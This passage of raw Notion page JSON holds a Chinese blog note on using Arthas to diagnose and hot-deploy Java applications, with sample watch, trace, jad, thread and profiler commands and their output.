907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"4167aad0-7638-4d68-8664-3c483389677f":{"value":{"id":"4167aad0-7638-4d68-8664-3c483389677f","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710900523641,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"75842799-a053-4659-ab50-17678231e4ff":{"value":{"id":"75842799-a053-4659-ab50-17678231e4ff","type":"callout","properties":{"title":[["Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523640,"last_edited_time":1710906535116,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"6216de61-29ce-4cc1-9319-ab02317fa14a":{"value":{"id":"6216de61-29ce-4cc1-9319-ab02317fa14a","type":"header","properties":{"title":[["基本配置"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710901319587,"last_edited_time":1710901327584,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"2fc39b5e-add9-416d-81e6-0f08e1c4e7cd":{"value":{"id":"2fc39b5e-add9-416d-81e6-0f08e1c4e7cd","type":"bulleted_list","properties":{"title":[["官方文档:"],["https://arthas.gitee.io/doc/",[["a","https://arthas.gitee.io/doc/"]]]]},"created_time":1710901328051,"last_edited_time":1710901361598,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"ece49cba-6c96-4588-b464-5c0c71b286f3":{"value":{"id":"ece49cba-6c96-4588-b464-5c0c71b286f3","type":"bulleted_list","properties":{"title":[["下载arthas-boot.jar:"],["https://github.com/alibaba/arthas/releases",[["b"],["a","https://github.com/alibaba/arthas/releases"]]]]},"created_time":1710901368276,"last_edited_time":1710901392474,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"b3c41a84-43ee-4d6b-8bbd-091ff384fd59":{"value":{"id":"b3c41a84-43ee-4d6b-8bbd-091ff384fd59","type":"bulleted_list","properties":{"title":[["直接java -jar arthas-boot.jar即可开始使用"]]},"created_time":1710901393274,"last_edited_time":1710901419736,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"f4ac19d7-d241-4ba2-94cb-255c510c8bef":{"value":{"id":"f4ac19d7-d241-4ba2-94cb-255c510c8bef","type":"bulleted_list","properties":{"title":[["idea中安装两个插件:arthas idea \u0026 ArthasHotSwap"]]},"created_time":1710901591928,"last_edited_time":1710901637032,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"2a69447b-8578-439b-8fff-9f1bcd702af0":{"value":{"id":"2a69447b-8578-439b-8fff-9f1bcd702af0","type":"header","properties":{"title":[["热部署"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710900685231,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"afd11af0-cd3a-42fb-9f6d-c63e50e0c935":{"value":{"id":"afd11af0-cd3a-42fb-9f6d-c63e50e0c935","type":"quote","properties":{"title":[["限制:无法修改类名、方法名,无法修改类属性名称,无法新增类属性,无法新增非静态方法"]]},"created_time":1710901704530,"last_edited_time":1710901710307,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"eb365015-594d-4556-b962-17bd7c09aca4":{"value":{"id":"eb365015-594d-4556-b962-17bd7c09aca4","type":"text","created_time":1710903024828,"last_edited_time":1710903024828,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"3aa2a959-6acc-470e-a328-06cfb782b7da":{"value":{"id":"3aa2a959-6acc-470e-a328-06cfb782b7da","type":"text","properties":{"title":[["我们修改以下代码"]]},"created_time":1710901720142,"last_edited_time":1710902750922,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"1abb1800-907c-407f-8c68-4870699ce5a3":{"value":{"id":"1abb1800-907c-407f-8c68-4870699ce5a3","type":"image","properties":{"size":[["112.1KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f585c4ed-7c6f-4998-966e-d0081d2b7d18/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f585c4ed-7c6f-4998-966e-d0081d2b7d18/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.3236842105263158,"block_preserve_scale":true},"created_time":1710902710894,"last_edited_time":1710902717085,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["f585c4ed-7c6f-4998-966e-d0081d2b7d18"]}},"c810b651-629c-494d-951f-1c49c6d3e328":{"value":{"id":"c810b651-629c-494d-951f-1c49c6d3e328","type":"text","properties":{"title":[["然后comile一下"]]},"created_time":1710902715123,"last_edited_time":1710902760017,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"57d4ad7c-5cc1-404b-887f-864994a1e2c7":{"value":{"id":"57d4ad7c-5cc1-404b-887f-864994a1e2c7","type":"image","properties":{"size":[["241.3KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/da1b4a9f-75db-40db-bda2-9b953a26d36b/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/da1b4a9f-75db-40db-bda2-9b953a26d36b/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.23791348600508905,"block_preserve_scale":true},"created_time":1710902781652,"last_edited_time":1710902789774,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["da1b4a9f-75db-40db-bda2-9b953a26d36b"]}},"aa247981-241f-4ca5-b749-229ce2fcf44e":{"value":{"id":"aa247981-241f-4ca5-b749-229ce2fcf44e","type":"text","created_time":1710902785084,"last_edited_time":1710902785084,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"e8b82baf-e0fd-4dde-9e55-259b8eb4d3ff":{"value":{"id":"e8b82baf-e0fd-4dde-9e55-259b8eb4d3ff","type":"text","properties":{"title":[["如果你远程服务器不止一个应用还需要指定一下jar包,这里java path也要是远程机器的真实地址"]]},"created_time":1710902785209,"last_edited_time":1710902920118,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"0bce87bd-e041-4e99-86df-656bc5692349":{"value":{"id":"0bce87bd-e041-4e99-86df-656bc5692349","type":"text","properties":{"title":[["他的原理是把你的class文件上传到oss,然后在服务器下载。如果怕代码泄漏,需要自己去oss买个bucket配置上传到自己的oss,这里不做详细说明"]]},"created_time":1710902928985,"last_edited_time":1710902996580,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"db0307cc-b039-40e6-a680-7bfc07afaa67":{"value":{"id":"db0307cc-b039-40e6-a680-7bfc07afaa67","type":"image","properties":{"size":[["130.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/77ab3448-b42c-448f-9616-75f9dd9f9d21/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/77ab3448-b42c-448f-9616-75f9dd9f9d21/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.38799283154121866,"block_preserve_scale":true},"created_time":1710902896442,"last_edited_time":1710902902168,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["77ab3448-b42c-448f-9616-75f9dd9f9d21"]}},"e9e6045c-97a6-4a9b-959f-f04f7019f248":{"value":{"id":"e9e6045c-97a6-4a9b-959f-f04f7019f248","type":"text","properties":{"title":[["然后在指定class右键执行工具"]]},"created_time":1710902926091,"last_edited_time":1710903105222,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"00bc6d41-7356-48b6-a443-e145bb33d169":{"value":{"id":"00bc6d41-7356-48b6-a443-e145bb33d169","type":"image","properties":{"size":[["139.5KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3e9b7e84-080a-4392-9503-3a4345994ca0/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3e9b7e84-080a-4392-9503-3a4345994ca0/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.7539267015706806,"block_preserve_scale":true},"created_time":1710903105660,"last_edited_time":1710903112293,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["3e9b7e84-080a-4392-9503-3a4345994ca0"]}},"4fcb29e1-90ad-4736-b951-b048e8b490f4":{"value":{"id":"4fcb29e1-90ad-4736-b951-b048e8b490f4","type":"text","properties":{"title":[["去宿主机部署代码,当看到succss就是成功了"]]},"created_time":1710903112799,"last_edited_time":1710905984555,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"c045edef-158c-4c43-a867-45748cdf2ed0":{"value":{"id":"c045edef-158c-4c43-a867-45748cdf2ed0","type":"image","properties":{"size":[["97.5KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/99c8dc77-8162-433d-8315-b38539f96c28/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/99c8dc77-8162-433d-8315-b38539f96c28/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.8309070548712206,"block_preserve_scale":true},"created_time":1710905970875,"last_edited_time":1710906571504,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["99c8dc77-8162-433d-8315-b38539f96c28"]}},"3c034094-e024-42f9-818d-fd49579543ab":{"value":{"id":"3c034094-e024-42f9-818d-fd49579543ab","type":"text","created_time":1710901423956,"last_edited_time":1710906344576,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"3991bb35-efa4-4722-a269-9f80ad3e5a89":{"value":{"id":"3991bb35-efa4-4722-a269-9f80ad3e5a89","type":"header","properties":{"title":[["常用命令"]]},"format":{"copied_from_pointer":{"id":"10f81046-c412-4a78-b051-1cec7d572d9c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710901443441,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"10f81046-c412-4a78-b051-1cec7d572d9c"}},"46c4c01d-bf1b-4ce0-8eda-5c0639b8453f":{"value":{"id":"46c4c01d-bf1b-4ce0-8eda-5c0639b8453f","type":"image","properties":{"size":[["189.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a64a490d-b29d-4ba1-8be9-96d62264806d/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a64a490d-b29d-4ba1-8be9-96d62264806d/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6185567010309279,"block_preserve_scale":true},"created_time":1710906683245,"last_edited_time":1710906688096,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["a64a490d-b29d-4ba1-8be9-96d62264806d"]}},"91a2fac9-d67e-4eb6-8f80-ce12aa78557c":{"value":{"id":"91a2fac9-d67e-4eb6-8f80-ce12aa78557c","type":"sub_header","properties":{"title":[["watch"]]},"created_time":1710901434875,"last_edited_time":1710901445307,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"5e155fc2-041f-4ac4-9863-f257c6ae8d99":{"value":{"id":"5e155fc2-041f-4ac4-9863-f257c6ae8d99","type":"code","properties":{"title":[["#观察方法出入参+报错\nwatch com.xxx.AppUserController sendSms '{params,returnObj,throwExp}'  -n 5  -x 3\n\n#输出\nts=2024-03-20 11:53:00; [cost=0.021166ms] result=@ArrayList[\n    @Object[][\n        @String[312],\n        @Integer[213],\n    ],\n    @R[\n        serialVersionUID=@Long[1],\n        code=@Integer[0],\n        message=null,\n        data=null,\n        success=@Boolean[true],\n        timestamp=@Long[1710906780811],\n    ],\n    null,\n]\nmethod=com.x.AppUserController$$EnhancerBySpringCGLIB$$3b34f282.sendSms location=AtExit\nts=2024-03-20 11:53:00; [cost=2.907583ms] result=@ArrayList[\n    @Object[][\n        @String[312],\n        @Integer[213],\n    ],\n    @R[\n        serialVersionUID=@Long[1],\n        code=@Integer[0],\n        message=null,\n        data=null,\n        success=@Boolean[true],\n        timestamp=@Long[1710906780811],\n    ],\n    null,\n]\n "]],"language":[["Bash"]]},"created_time":1710906693642,"last_edited_time":1710906797252,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"a70ea93f-49bc-44eb-9af4-58311b9e22a0":{"value":{"id":"a70ea93f-49bc-44eb-9af4-58311b9e22a0","type":"sub_header","properties":{"title":[["trace"]]},"created_time":1710901445747,"last_edited_time":1710906821342,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"5b9a3023-17e9-4d71-9a01-b90ada81a321":{"value":{"id":"5b9a3023-17e9-4d71-9a01-b90ada81a321","type":"code","properties":{"title":[["#追踪搞方法调用\ntrace com.x.AppUserController sendSms  -n 5 --skipJDKMethod false \n\n#输出\nAffect(class count: 2 , method count: 2) cost in 150 ms, listenerId: 3\n`---ts=2024-03-20 11:54:11;thread_name=XNIO-1 task-1;id=106;is_daemon=false;priority=5;TCCL=sun.misc.Launcher$AppClassLoader@18b4aac2\n    `---[1.246583ms] com.x.AppUserController$$EnhancerBySpringCGLIB$$3b34f282:sendSms()\n        `---[95.80% 1.19425ms ] org.springframework.cglib.proxy.MethodInterceptor:intercept()\n            `---[3.87% 0.04625ms ] com.x.AppUserController:sendSms()\n                `---[32.70% 0.015125ms ] com.x.R:ok() #57"]],"language":[["Bash"]]},"created_time":1710906812040,"last_edited_time":1710906871141,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"309ea1f2-8e10-48f9-8990-6192b5ecf2dc":{"value":{"id":"309ea1f2-8e10-48f9-8990-6192b5ecf2dc","type":"sub_header","properties":{"title":[["jad"]]},"created_time":1710901448030,"last_edited_time":1710906897791,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"28f29155-ccfb-4e5c-a590-530707efde4e":{"value":{"id":"28f29155-ccfb-4e5c-a590-530707efde4e","type":"code","properties":{"title":[["#主要用于对比线上代码\njad com.x.AppUserController"]],"language":[["Bash"]]},"created_time":1710906887349,"last_edited_time":1710906920113,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"72c01b35-1a16-4630-8517-0ef7f56a4958":{"value":{"id":"72c01b35-1a16-4630-8517-0ef7f56a4958","type":"image","properties":{"size":[["84.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a9abc042-0739-4a92-ba55-afaee3c4c751/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a9abc042-0739-4a92-ba55-afaee3c4c751/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.45493562231759654,"block_preserve_scale":true},"created_time":1710906945009,"last_edited_time":1710906950491,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["a9abc042-0739-4a92-ba55-afaee3c4c751"]}},"39acdf62-e65e-4362-a2ff-92efffb2eea9":{"value":{"id":"39acdf62-e65e-4362-a2ff-92efffb2eea9","type":"sub_header","properties":{"title":[["thread"]]},"created_time":1710901450059,"last_edited_time":1710906987529,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"110b2916-df77-4445-a6f5-5a7f700f14e0":{"value":{"id":"110b2916-df77-4445-a6f5-5a7f700f14e0","type":"code","properties":{"title":[["#查询资源占用最高的线程\nthread -n 1\n\n#输出\n\"arthas-command-execute\" Id=131 cpuUsage=3.35% deltaTime=7ms time=739ms RUNNABLE\n    at sun.management.ThreadImpl.dumpThreads0(Native Method)\n    at sun.management.ThreadImpl.getThreadInfo(ThreadImpl.java:461)\n    at com.taobao.arthas.core.command.monitor200.ThreadCommand.processTopBusyThreads(ThreadCommand.java:206)\n    at com.taobao.arthas.core.command.monitor200.ThreadCommand.process(ThreadCommand.java:122)\n    at com.taobao.arthas.core.shell.command.impl.AnnotatedCommandImpl.process(AnnotatedCommandImpl.java:82)\n    at com.taobao.arthas.core.shell.command.impl.AnnotatedCommandImpl.access$100(AnnotatedCommandImpl.java:18)\n    at com.taobao.arthas.core.shell.command.impl.AnnotatedCommandImpl$ProcessHandler.handle(AnnotatedCommandImpl.java:111)\n    at com.taobao.arthas.core.shell.command.impl.AnnotatedCommandImpl$ProcessHandler.handle(AnnotatedCommandImpl.java:108)\n    at com.taobao.arthas.core.shell.system.impl.ProcessImpl$CommandProcessTask.run(ProcessImpl.java:385)\n    at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)\n    at java.util.concurrent.FutureTask.run$$$capture(FutureTask.java:266)\n    at java.util.concurrent.FutureTask.run(FutureTask.java)\n    at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:180)\n    at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:293)\n    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)\n    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)\n    at java.lang.Thread.run(Thread.java:750)\n"]],"language":[["Bash"]]},"created_time":1710906965748,"last_edited_time":1710907009357,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"6ba8ddd5-4df3-4bf4-a8c2-3154d9404a97":{"value":{"id":"6ba8ddd5-4df3-4bf4-a8c2-3154d9404a97","type":"sub_header","properties":{"title":[["profiler",[["b"],["b"]]],["\n"]]},"created_time":1710901458327,"last_edited_time":1710901579890,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"713edbb3-17cd-4bb8-91c5-4a500b3a8994":{"value":{"id":"713edbb3-17cd-4bb8-91c5-4a500b3a8994","type":"code","properties":{"title":[["#开始\nprofiler start\n\n#结束\nprofiler stop\n\n#profiler output file: 0320-115804.html\n#可以分析cpu占用情况"]],"language":[["Bash"]]},"created_time":1710907067208,"last_edited_time":1710907145599,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"23e941c9-ce06-4f1b-af06-6bccec2d3ea4":{"value":{"id":"23e941c9-ce06-4f1b-af06-6bccec2d3ea4","type":"image","properties":{"size":[["80.7KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/09a367be-1cfb-4d2f-9052-7e0f3016a150/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/09a367be-1cfb-4d2f-9052-7e0f3016a150/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.4722863741339492,"block_preserve_scale":true},"created_time":1710907126483,"last_edited_time":1710907132935,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["09a367be-1cfb-4d2f-9052-7e0f3016a150"]}},"bb1503ec-72a1-49b0-bfc0-5514d3749738":{"value":{"id":"bb1503ec-72a1-49b0-bfc0-5514d3749738","type":"header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710900523641,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"5d496523-f3ac-4297-ab9d-49946de020e0":{"value":{"id":"5d496523-f3ac-4297-ab9d-49946de020e0","type":"bulleted_list","properties":{"title":[["arthas热部署很好用,注意限制"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710907028613,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"abe817d3-4a91-4f84-aed1-113eab9e33ea":{"value":{"id":"abe817d3-4a91-4f84-aed1-113eab9e33ea","type":"bulleted_list","properties":{"title":[["介绍了常见的几个cmd"]]},"created_time":1710907028924,"last_edited_time":1710907040685,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"b7688c06-839f-475f-99d8-092a08b7e21d":{"value":{"id":"b7688c06-839f-475f-99d8-092a08b7e21d","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05":{"value":{"id":"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","type":"column_list","content":["08b983f6-4c29-44d6-9bbc-d56cde7ee3df","f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6","b05adf15-e470-40ac-b755-5f24225e2c1f"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"08b983f6-4c29-44d6-9bbc-d56cde7ee3df":{"value":{"id":"08b983f6-4c29-44d6-9bbc-d56cde7ee3df","type":"column","content":["ee0f9627-898a-4467-a5a0-6620126e3153"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6":{"value":{"id":"f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6","type":"column","content":["ed7bb86a-e468-4bbc-94c0-d66e88cabe84","a3483dad-5468-4b87-89eb-de9d4f7e17f9"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"b05adf15-e470-40ac-b755-5f24225e2c1f":{"value":{"id":"b05adf15-e470-40ac-b755-5f24225e2c1f","type":"column","content":["45f58361-42f3-4de5-ae99-a1174d6fdd08"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"ee0f9627-898a-4467-a5a0-6620126e3153":{"value":{"id":"ee0f9627-898a-4467-a5a0-6620126e3153","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"08b983f6-4c29-44d6-9bbc-d56cde7ee3df","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"ed7bb86a-e468-4bbc-94c0-d66e88cabe84":{"value":{"id":"ed7bb86a-e468-4bbc-94c0-d66e88cabe84","type":"text","properties":{"title":[["\n",[["i"]]],["        是在往前走就好",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"45f58361-42f3-4de5-ae99-a1174d6fdd08":{"value":{"id":"45f58361-42f3-4de5-ae99-a1174d6fdd08","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1710900523644,"last_edited_time":1710900523644,"parent_id":"b05adf15-e470-40ac-b755-5f24225e2c1f","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"a3483dad-5468-4b87-89eb-de9d4f7e17f9":{"value":{"id":"a3483dad-5468-4b87-89eb-de9d4f7e17f9","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523643,"last_edited_tim